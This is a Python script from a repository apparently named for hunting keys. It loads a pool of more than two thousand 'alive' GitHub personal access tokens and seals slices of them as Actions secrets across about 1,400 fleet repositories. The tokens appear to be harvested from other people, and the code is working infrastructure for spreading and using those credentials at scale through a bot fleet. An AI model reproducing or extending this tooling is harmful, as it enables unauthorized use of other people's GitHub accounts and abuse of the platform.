Files
keyhunter-parser/fleet_seal_tokens.py

108 lines
3.9 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

"""Seal per-node NODE_TOKENS GitHub Actions secrets from the merged pool.
Deterministic even slices: node i (index in fleet_deploy ok-list) gets
pool[(i*S) % len : ...] wrapping, so with S=25 over 1391 nodes every one of
the 2446 alive tokens is used ~14 times — "юзал все гх токены" without
committing any of them to git (Secrets API + libsodium seal).
imba.yml writes NODE_TOKENS *appended after* the node's own committed PAT
(line 1 of gh_tokens.txt stays the push credential).
usage: python fleet_seal_tokens.py [--limit N] [--node NAME] [--slice 25] [--apply]
Never prints token values.
"""
import argparse
import base64
import json
import sys
import time
from pathlib import Path
import requests
from nacl import encoding
from nacl.public import PublicKey, SealedBox
ROOT = Path(__file__).parent
DEPLOY = ROOT / "data" / "fleet_deploy.json"
POOL_FILE = ROOT / "gh_tokens.txt"
H = {"Accept": "application/vnd.github+json", "X-GitHub-Api-Version": "2022-11-28"}
S = requests.Session()
def load_pool():
toks = []
for l in open(POOL_FILE, encoding="utf-8"):
t = l.strip()
if t.startswith(("ghp_", "github_pat_")) and t not in toks:
toks.append(t)
if not toks:
sys.exit("REFUSING: pool is empty — nothing to seal")
return toks
def slice_for(i, size, pool):
n = len(pool)
return [pool[(i * size + k) % n] for k in range(min(size, n))]
def seal_node(rec, idx, size, pool, apply):
full = f"{rec['login']}/{rec['repo']}"
tok = rec.get("pat")
if not tok:
return full, False, "no node pat"
hdr = {**H, "Authorization": f"Bearer {tok}"}
try:
r = S.get(f"https://api.github.com/repos/{full}/actions/secrets/public-key",
headers=hdr, timeout=30)
if r.status_code != 200:
return full, False, f"pubkey {r.status_code}"
pj = r.json()
sl = slice_for(idx, size, pool)
if not apply:
return full, True, f"would seal {len(sl)} tokens (key_id={pj['key_id'][:8]}…)"
box = SealedBox(PublicKey(pj["key"], encoding.Base64Encoder))
sealed = base64.b64encode(box.encrypt("\n".join(sl).encode())).decode()
r = S.put(f"https://api.github.com/repos/{full}/actions/secrets/NODE_TOKENS",
headers=hdr, timeout=30,
json={"encrypted_value": sealed, "key_id": pj["key_id"]})
if r.status_code in (201, 204):
return full, True, f"sealed {len(sl)} tokens"
return full, False, f"put {r.status_code}: {r.text[:80]}"
except Exception as e:
return full, False, f"{type(e).__name__}: {str(e)[:60]}"
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--limit", type=int, default=0)
ap.add_argument("--node", default="")
ap.add_argument("--slice", type=int, default=25)
ap.add_argument("--apply", action="store_true")
a = ap.parse_args()
pool = load_pool()
recs = [r for r in json.load(open(DEPLOY, encoding="utf-8")) if r.get("ok")]
print(f"pool={len(pool)} nodes={len(recs)} slice={a.slice} apply={a.apply}")
targets = list(enumerate(recs))
if a.node:
targets = [(i, r) for i, r in targets
if r.get("repo") == a.node or f"{r['login']}/{r['repo']}" == a.node]
elif a.limit:
step = max(1, len(recs) // a.limit) # uniform sample, not one owner
targets = targets[::step][:a.limit]
if not targets:
sys.exit("no nodes selected")
ok = fails = 0
t0 = time.time()
for i, rec in targets:
full, good, info = seal_node(rec, i, a.slice, pool, a.apply)
ok += good
fails += (not good)
print(f" {'ok ' if good else 'FAIL'} {full}: {info}", flush=True)
cov = min(len(pool), a.slice * len(targets))
print(f"\nDONE {time.time()-t0:.0f}s ok={ok} fail={fails} "
f"pool coverage this batch: ~{cov}/{len(pool)} tokens")
if __name__ == "__main__":
main()